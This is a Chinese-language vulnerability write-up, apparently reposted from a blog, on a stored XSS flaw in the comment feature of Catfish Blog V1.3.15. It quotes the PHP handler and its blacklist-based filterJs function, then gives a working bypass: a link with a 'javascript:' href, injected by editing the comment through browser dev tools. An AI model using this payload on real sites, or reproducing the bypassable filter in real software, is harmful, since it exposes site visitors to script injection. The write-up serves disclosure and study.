1. 程式人生 > 其它 >Catfish(鯰魚) Blog V1.3.15儲存型 xss

Catfish(鯰魚) Blog V1.3.15儲存型 xss

Catfish(鯰魚) Blog前臺文章評論處存在 儲存型xss漏洞。
application\index\controller\index.php 檔案第 692

public function pinglun()
{
$beipinglunren = Db::name('posts')->where('id',Request::instance()-
>post('id'))->field('post_author')->find();
$comment = Db::name('options')->where('option_name','comment')-
>field('option_value')->find();
$plzt = 1; if($comment['option_value'] == 1) { $plzt = 0; } $ uid = 0; if(Session::has($this->session_prefix.'user_id')) { $uid = Session::get($this->session_prefix.'user_id'); } $ data = [ 'post_id' => Request::instance()->post('id'), 'url' => 'index/Index/article/id/'.Request::instance()->post('id'), 'uid' => $uid
, 'to_uid' => $beipinglunren['post_author'], 'createtime' => date("Y-m-d H:i:s"), 'content' => $this->filterJs(Request::instance()->post('pinglun')), 'status' => $plzt ]; Db::name('comments')->insert($data); Db::name('posts') ->where('id', Request::instance()->post('id'))
->update([ 'post_comment' => date("Y-m-d H:i:s"), 'comment_count' => ['exp','comment_count+1'] ]); $param = ''; Hook::add('comment_post',$this->plugins); Hook::listen('comment_post',$param,$this->ccc); }

跟走filterjs函式

    protected function filterJs($str)
    {
        while(stripos($str,'<script') !== false || stripos($str,'<style') !== false || stripos($str,'<iframe') !== false || stripos($str,'<frame') !== false || stripos($str,'onclick') !== false)
        {
            $str = preg_replace(['/<script[\s\S]*?<\/script[\s]*>/i','/<style[\s\S]*?<\/style[\s]*>/i','/<iframe[\s\S]*?[<\/iframe|\/][\s]*>/i','/<frame[\s\S]*?[<\/frame|\/][\s]*>/i','/on[A-Za-z]+[\s]*=[\s]*[\'|"][\s\S]*?[\'|"]/i'],'',$str);
        }
        return $str;
    }

看一下這裡的邏輯,判斷字串是否存在 <script <style <iframe <frame onclick
果存在就進行替換。那麼我們提交的payload 只要不存在 上面判斷的幾個字串就可以繞過。
漏洞復現: 前臺頁面找一篇文章,進行評論。評論加入超連結,這裡因為有前端過濾所以不能直接輸入
payload,隨便填寫,然後F12修改超連結地址為 xsspayload <a target="_self"
href="javascript:onmouseover=alert(123)">http://javascript:onmouseover=alert(123).c
</a> 這樣就繞過了前端認證,提交評論。

訪問文章點選觸發xss

直接傳入javascript:onmouseover=alert('123')的話會被加入<p>標籤,所以插入a標籤構造超連結